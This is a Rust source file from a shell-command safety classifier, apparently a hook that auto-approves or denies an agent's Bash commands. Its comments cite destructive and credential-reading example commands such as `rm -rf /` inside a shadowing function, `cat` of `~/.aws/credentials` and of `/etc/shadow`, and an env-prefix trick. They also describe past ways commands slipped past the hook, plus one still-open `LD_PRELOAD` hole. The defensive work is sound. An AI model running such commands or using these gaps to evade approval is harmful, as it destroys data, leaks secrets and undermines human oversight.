Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27pub(super) struct ClassifyGuard;
28
29impl ClassifyGuard {
30    pub(super) fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        let depth = CLASSIFY_DEPTH.with(|d| {
50            let n = d.get().saturating_sub(1);
51            d.set(n);
52            n
53        });
54        // Clearing on the way OUT, not only on the way in, is what makes the budget per-call for
55        // callers that never take a guard. `explain()` and `suggest::analyze()` walk and brace-expand
56        // a command without entering here, so they used to start with whatever the previous
57        // classification had spent and trip `MAX_CLASSIFY_WORK` on work they had not done. That made
58        // the verdict ORDER-DEPENDENT: `perl {,} -{,}e{,}{,}{,}\~{,}{,}{,}{,}` was allowed by
59        // `is_safe_command` and reported not-allowed by a following `explain` — the hook auto-approving
60        // while telling the reader it had not. Found by the `explain_render` fuzz target.
61        if depth == 0 {
62            CLASSIFY_WORK.with(|w| w.set(0));
63        }
64    }
65}
66
67/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
68/// and the caller must fail closed.
69///
70/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
71/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
72/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
73/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
74/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
75/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
76pub(crate) fn charge_classify_work(units: u32) -> bool {
77    CLASSIFY_WORK.with(|w| {
78        let n = w.get().saturating_add(units);
79        w.set(n);
80        n <= MAX_CLASSIFY_WORK
81    })
82}
83
84pub fn command_verdict(input: &str) -> Verdict {
85    let Some(_guard) = ClassifyGuard::enter() else {
86        return Verdict::Denied; // classification budget spent — fail closed
87    };
88    let Some(script) = parse(input) else {
89        return Verdict::Denied;
90    };
91    script_verdict(&script)
92}
93
94pub fn is_safe_command(input: &str) -> bool {
95    command_verdict(input).is_allowed()
96}
97
98thread_local! {
99    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
100    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
101    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
102    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
103        const { std::cell::RefCell::new(Vec::new()) };
104    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
105    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
106    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
107    /// than resolving to a stale, more permissive definition.
108    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
109        const { std::cell::RefCell::new(Vec::new()) };
110    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
111    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
112    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
113}
114
115const MAX_FUNC_DEPTH: usize = 32;
116
117/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
118/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
119/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
120const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
121
122struct FuncScope;
123impl Drop for FuncScope {
124    fn drop(&mut self) {
125        FUNCTIONS.with(|f| {
126            f.borrow_mut().pop();
127        });
128    }
129}
130
131fn define_function(name: String, body: Script) -> FuncScope {
132    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
133    FuncScope
134}
135
136fn lookup_function(name: &str) -> Option<Script> {
137    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
138        return None; // body unknown — deny rather than use a stale one
139    }
140    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
141}
142
143/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
144/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
145fn poison_function(name: String) {
146    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
147}
148
149struct ResolveScope;
150impl Drop for ResolveScope {
151    fn drop(&mut self) {
152        RESOLVING.with(|r| {
153            r.borrow_mut().pop();
154        });
155    }
156}
157
158/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
159/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
160/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
161/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
162/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
163fn begin_resolving(name: &str) -> Option<ResolveScope> {
164    let over_budget = CLASSIFY_WORK.with(|w| {
165        let n = w.get().saturating_add(1);
166        w.set(n);
167        n > MAX_CLASSIFY_WORK
168    });
169    if over_budget {
170        return None;
171    }
172    RESOLVING.with(|r| {
173        let mut stack = r.borrow_mut();
174        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
175            None
176        } else {
177            stack.push(name.to_string());
178            Some(ResolveScope)
179        }
180    })
181}
182
183fn script_verdict(script: &Script) -> Verdict {
184    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
185        .into_iter()
186        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
187}
188
189/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
190/// installed, and return the per-statement results.
191///
192/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
193/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
194/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
195///
196/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
197/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
198/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
199/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
200pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
201    let mut running = crate::pathctx::cwd();
202    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
203    let mut _funcs: Vec<FuncScope> = Vec::new();
204    let mut out = Vec::with_capacity(script.0.len());
205    for stmt in &script.0 {
206        out.push({
207            let _cwd = crate::pathctx::enter_cwd(running.clone());
208            per_stmt(stmt)
209        });
210        let effects = shell_effects(&stmt.pipeline);
211        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
212        if next.is_some() {
213            running = next;
214        } else if effects.cwd {
215            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
216            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
217            // relative paths against a directory the shell has left.
218            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
219        }
220        for (name, value) in statement_assignments(&stmt.pipeline) {
221            _vars.push(crate::pathctx::enter_var(name, value));
222        }
223        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
224        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
225        // value wins for that name; a statement handled precisely contributes nothing here.
226        for name in effects.vars {
227            _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
228        }
229        for name in effects.funcs {
230            poison_function(name);
231        }
232        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
233            _funcs.push(define_function(name.clone(), body.clone()));
234        }
235    }
236    out
237}
238
239/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
240/// bound reports a possible effect, which fails closed.
241const MAX_CD_SCAN_DEPTH: usize = 16;
242
243/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
244///
245/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
246/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
247/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
248/// precise handling matches only statement-level forms, so all of those escaped tracking:
249/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
250/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
251/// stale state is the permissive one.
252///
253/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
254/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
255#[derive(Default)]
256struct ShellEffects {
257    cwd: bool,
258    vars: Vec<String>,
259    funcs: Vec<String>,
260}
261
262/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
263fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
264    let mut out = ShellEffects::default();
265    if let [only] = pipeline.commands.as_slice() {
266        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
267        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
268        // classifier's own work budget exists for. Caught by the termination guard.
269        let mut seen = Vec::new();
270        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
271    }
272    out
273}
274
275fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
276    let Some(depth) = depth.checked_sub(1) else {
277        out.cwd = true; // out of budget — assume the worst
278        return;
279    };
280    match cmd {
281        Cmd::Simple(s) => {
282            let Some(name) = s.words.first().map(Word::eval) else {
283                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
284            };
285            if name == "cd" {
286                out.cwd = true;
287                return;
288            }
289            // A CALL runs the body in THIS shell, so its effects escape with it.
290            if seen.contains(&name) {
291                return;
292            }
293            if let Some(body) = lookup_function(&name) {
294                seen.push(name);
295                scan_script_effects(&body, depth, seen, out);
296            }
297        }
298        // The two constructs the shell really does isolate, plus forms that run nothing.
299        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
300        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
301            scan_script_effects(body, depth, seen, out);
302        }
303        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
304            scan_script_effects(cond, depth, seen, out);
305            scan_script_effects(body, depth, seen, out);
306        }
307        Cmd::If { branches, else_body, .. } => {
308            for b in branches {
309                scan_script_effects(&b.cond, depth, seen, out);
310                scan_script_effects(&b.body, depth, seen, out);
311            }
312            if let Some(e) = else_body {
313                scan_script_effects(e, depth, seen, out);
314            }
315        }
316        Cmd::Case { arms, .. } => {
317            for a in arms {
318                scan_script_effects(&a.body, depth, seen, out);
319            }
320        }
321    }
322}
323
324/// Every statement of a body that the shell would run in the current shell: its assignments and
325/// function definitions rebind here, and its commands are scanned in turn.
326fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
327    for st in &script.0 {
328        for (name, _) in statement_assignments(&st.pipeline) {
329            out.vars.push(name);
330        }
331        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
332            out.funcs.push(name.clone());
333        }
334        if let [only] = st.pipeline.commands.as_slice() {
335            scan_effects(only, depth, seen, out);
336        }
337    }
338}
339
340/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
341/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
342fn cd_target(pipeline: &Pipeline) -> Option<String> {
343    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
344        return None;
345    };
346    if s.words.first()?.eval() != "cd" {
347        return None;
348    }
349    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
350}
351
352/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
353/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
354/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
355/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
356fn read_loop_vars(cond: &Script) -> Vec<String> {
357    let [stmt] = cond.0.as_slice() else {
358        return Vec::new();
359    };
360    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
361        return Vec::new();
362    };
363    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
364    if words.first().map(String::as_str) != Some("read") {
365        return Vec::new();
366    }
367    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
368}
369
370/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
371/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
372/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
373/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
374fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
375    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
376        return Vec::new();
377    };
378    if !s.words.is_empty() {
379        return Vec::new();
380    }
381    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
382}
383
384/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
385/// `$refs` against the current scope first, then requires no residual `$` and no substitution
386/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
387fn certain_value(word: &Word) -> String {
388    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
389    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
390    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
391    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
392    if raw.contains('$') || is_opaque_value(&raw) {
393        UNCERTAIN_VALUE.to_string()
394    } else {
395        raw
396    }
397}
398
399/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
400/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
401/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
402pub(crate) fn is_opaque_value(raw: &str) -> bool {
403    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
404        .iter()
405        .any(|m| raw.contains(m))
406}
407
408#[cfg(test)]
409pub(crate) fn is_safe_script(script: &Script) -> bool {
410    script_verdict(script).is_allowed()
411}
412
413pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
414    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
415    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
416    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
417    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
418    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
419    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
420    let mut stream: Option<String> = None;
421    for cmd in &pipeline.commands {
422        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
423        acc = acc.combine(cmd_verdict(cmd));
424        stream = Some(stage_output_repr(cmd, stream.as_deref()));
425    }
426    acc
427}
428
429/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
430/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
431/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
432/// must deny in BOTH gate layers.
433const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
434
435/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
436/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
437/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
438/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
439fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
440    let Cmd::Simple(s) = cmd else {
441        return UNKNOWN_ITEM.to_string();
442    };
443    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
444    let Some(first) = words.first() else {
445        return UNKNOWN_ITEM.to_string();
446    };
447    let name = Token::from_raw(first.clone()).command_name().to_string();
448    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
449    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
450    match name.as_str() {
451        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
452        //
453        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
454        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
455        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
456        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
457        // not be written, so a read-face test could never see it.
458        "find" | "fd" | "fdfind" => {
459            let roots = find_roots(&args);
460            let base = roots
461                .iter()
462                .max_by_key(|r| {
463                    let (read, write) = (
464                        crate::engine::resolve::locus::read_locus(r),
465                        crate::engine::resolve::locus::write_locus(r),
466                    );
467                    read.max(write)
468                })
469                .copied()
470                .unwrap_or(".");
471            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
472            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
473            // cat` refused while `find / -exec cat {} \;` read the same files.
474            //
475            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
476            // literal representative because the shield genuinely CAN check that one; the
477            // distinction is whether we hold the actual path or a placeholder for it.
478            crate::engine::resolve::locus::traversal_item(base)
479        }
480        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
481        "ls" => {
482            if args.contains(&"-d") {
483                worst_arg_repr(&args)
484            } else {
485                "sc_item".to_string()
486            }
487        }
488        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
489        "echo" | "printf" => worst_arg_repr(&args),
490        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
491        "git" => match args.first() {
492            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
493            _ => UNKNOWN_ITEM.to_string(),
494        },
495        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
496        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
497        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
498        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
499        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
500        "head" | "tail"
501            if !reads_a_file_after_count(&args)
502                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
503        {
504            through()
505        }
506        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
507        "tee" => through(),
508        _ => UNKNOWN_ITEM.to_string(),
509    }
510}
511
512/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
513/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
514/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
515/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
516/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
517fn reads_a_file(args: &[&str]) -> bool {
518    args.iter().any(|a| {
519        (!a.starts_with('-') && *a != "-")
520            || *a == "--files0-from"
521            || a.starts_with("--files0-from=")
522    })
523}
524
525/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
526/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
527fn reads_a_file_after_count(args: &[&str]) -> bool {
528    let mut i = 0;
529    while i < args.len() {
530        let a = args[i];
531        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
532            i += 2; // flag + its value
533            continue;
534        }
535        if a.starts_with('-') || a == "-" {
536            i += 1;
537            continue;
538        }
539        return true; // a bare positional → a file operand
540    }
541    false
542}
543
544/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
545/// a granted dir), so paths derived from it are safe operands.
546fn source_ok(path: &str) -> bool {
547    crate::engine::resolve::read_content_verdict(path).is_allowed()
548}
549
550/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
551/// whose read is denied, else a worktree placeholder.
552fn worst_arg_repr(args: &[&str]) -> String {
553    args.iter()
554        .filter(|a| !a.starts_with('-'))
555        .find(|a| !source_ok(a))
556        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
557}
558
559/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
560/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
561fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
562    let mut i = 0;
563    while i < args.len() {
564        match args[i] {
565            "-H" | "-L" | "-P" => i += 1,
566            "-D" | "-O" => i += 2,
567            _ => break,
568        }
569    }
570    let mut roots = Vec::new();
571    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
572        roots.push(args[i]);
573        i += 1;
574    }
575    if roots.is_empty() {
576        roots.push(".");
577    }
578    roots
579}
580
581pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
582    pipeline_verdict(pipeline).is_allowed()
583}
584
585pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
586    match cmd {
587        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
588        _ => true,
589    }
590}
591
592fn has_any_substitution(cmd: &SimpleCmd) -> bool {
593    cmd.words.iter().any(has_substitution)
594        || cmd.env.iter().any(|(_, v)| has_substitution(v))
595}
596
597/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
598///
599/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
600/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
601/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
602/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
603/// matcher, and quietly redundant here.
604///
605/// The rule must describe the command as TYPED. That is not a judgement about which variable names
606/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
607/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
608/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
609///
610/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
611/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
612/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
613/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
614/// nothing".
615///
616/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
617/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
618/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
619/// the rest of a pattern lets a rule for one program match a different one —
620/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
621/// only honest answer; the alternative is a rule that silently covers a program it never named.
622///
623/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
624/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
625/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
626/// the program is the first word either way.
627pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
628    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
629    for (name, value) in &cmd.env {
630        let value = value.eval();
631        if value.chars().any(char::is_whitespace) {
632            return None;
633        }
634        parts.push(format!("{name}={value}"));
635    }
636    parts.extend(cmd.words.iter().map(|w| w.eval()));
637    Some(parts.join(" "))
638}
639
640pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
641    match cmd {
642        Cmd::Simple(s) => simple_verdict(s),
643        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
644            let body_v = script_verdict(body);
645            if let Verdict::Denied = body_v {
646                return Verdict::Denied;
647            }
648            let redir_v = redirect_verdict(redirs);
649            if let Verdict::Denied = redir_v {
650                return Verdict::Denied;
651            }
652            body_v.combine(redir_v)
653        }
654        Cmd::For { var, items, body, redirs } => {
655            let redir_v = redirect_verdict(redirs);
656            if let Verdict::Denied = redir_v {
657                return Verdict::Denied;
658            }
659            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
660            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
661            // fail-closing on the bare `$f`.
662            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
663            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
664                Some((read_repr, write_repr)) => {
665                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
666                    script_verdict(body)
667                }
668                None => script_verdict(body),
669            };
670            words_sub_verdict(items).combine(body_v).combine(redir_v)
671        }
672        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
673            let redir_v = redirect_verdict(redirs);
674            if let Verdict::Denied = redir_v {
675                return Verdict::Denied;
676            }
677            let cond_v = script_verdict(cond);
678            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
679            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
680            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
681            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
682            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
683                Some(repr) => read_loop_vars(cond)
684                    .into_iter()
685                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
686                    .collect(),
687                None => Vec::new(),
688            };
689            cond_v.combine(script_verdict(body)).combine(redir_v)
690        }
691        Cmd::If {
692            branches,
693            else_body,
694            redirs,
695        } => {
696            let redir_v = redirect_verdict(redirs);
697            if let Verdict::Denied = redir_v {
698                return Verdict::Denied;
699            }
700            let mut v = redir_v;
701            for b in branches {
702                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
703            }
704            if let Some(eb) = else_body {
705                v = v.combine(script_verdict(eb));
706            }
707            v
708        }
709        Cmd::DoubleBracket { words, redirs } => {
710            words_sub_verdict(words).combine(redirect_verdict(redirs))
711        }
712        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
713        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
714        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
715        Cmd::Case { subject, arms, redirs } => {
716            let redir_v = redirect_verdict(redirs);
717            if let Verdict::Denied = redir_v {
718                return Verdict::Denied;
719            }
720            let mut v = redir_v.combine(word_sub_verdict(subject));
721            for arm in arms {
722                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
723            }
724            v
725        }
726        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
727        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
728        // definition never denies on its body.
729        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
730    }
731}
732
733pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
734    cmd_verdict(cmd).is_allowed()
735}
736
737fn part_sub_verdict(part: &WordPart) -> Verdict {
738    match part {
739        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
740        WordPart::Backtick(raw) => command_verdict(raw),
741        WordPart::DQuote(inner) => word_sub_verdict(inner),
742        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
